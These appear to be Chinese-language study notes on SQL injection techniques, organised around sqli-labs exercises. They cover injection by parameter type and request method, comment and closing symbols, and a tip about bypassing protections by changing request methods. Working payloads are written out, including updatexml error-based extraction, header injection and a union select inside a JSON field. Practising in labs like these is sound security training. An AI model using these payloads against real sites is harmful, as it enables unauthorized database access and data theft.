【参数类型】
判断注入类型
1、数字类型
select * from user where id=1
2、字符类型
select * from user where name=‘admin’ 过滤’(单引号)和"(双引号)
3、搜索类型
select * from user where name like ‘%admin%’ 只要有admin都会被搜索出来 过滤%(百分号)和’(单引号)
4、JSON类型
★post提交方式中的一种数据交互格式 JSON格式: json={“name”:“admin” “age”:“18”}
$id=1 and 1=2 $sql=“SELECT * FROM users WHERE id=‘1’ and 1=2–+ LIMIT 0,1”;
注释语句
–+、# 注释掉一行 使用POST方式注入大部分用到# 用url注入大部分用到–+
#闭合 必须要将语句闭合,使注入语句生效
#SQL语句干扰符号 '(单引号),"(双引号),%(百分号),)(小括号),}(大括号) 等,具体需看写法
【请求方法】
GET、POST、COOKIE、REQUEST、HTTP头部等
GET请求传输的数据量限制在2KB左右 GET只要在url上,就能接收到请求 REQUEST请求不管是GET和POST都可以 HTTP报文头部各个参数都能注入,比如User-Agent、Cookie
tips: 切换请求方式可能达到绕过防护的效果
【演示实验】
? 参数字符型注入测试 sqlilabs Less-1,2,3,4 参考: https://blog.csdn.net/wang_624/article/details/101913584 ? POST数据提交注入测试 sqliabs Less-11
post 发送 不用编码
? COOKIE数据提交注入测试 sqlilabs Less-20 报错注入;
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
联合查询: 看样子好像没有
? HTTP头部参数数据注入测试 sqlilabs Less-18
ad'or updatexml(1,concat(0x7e,(database())),1) or '1'='1
? 参数JSON数据注入测试 https://tianchi.aliyun.com/competition/entrance/531796/information
json 注入
sql语句是json 格式
单引号只是说明它是字符串; { } 花括号是说明json 格式不影响 sql 语句判断
$sql="select * from users where username='{&username}' ";
json={"username":"admin' and 1=2 union select 1,2,3#"} ' (单引号)闭合的是SQL语句中的 '
‘#’不会注释双引号 看双引号里面的内容,判断注入语句 就行了 admin’ and 1=2 union select 1,2,3#
|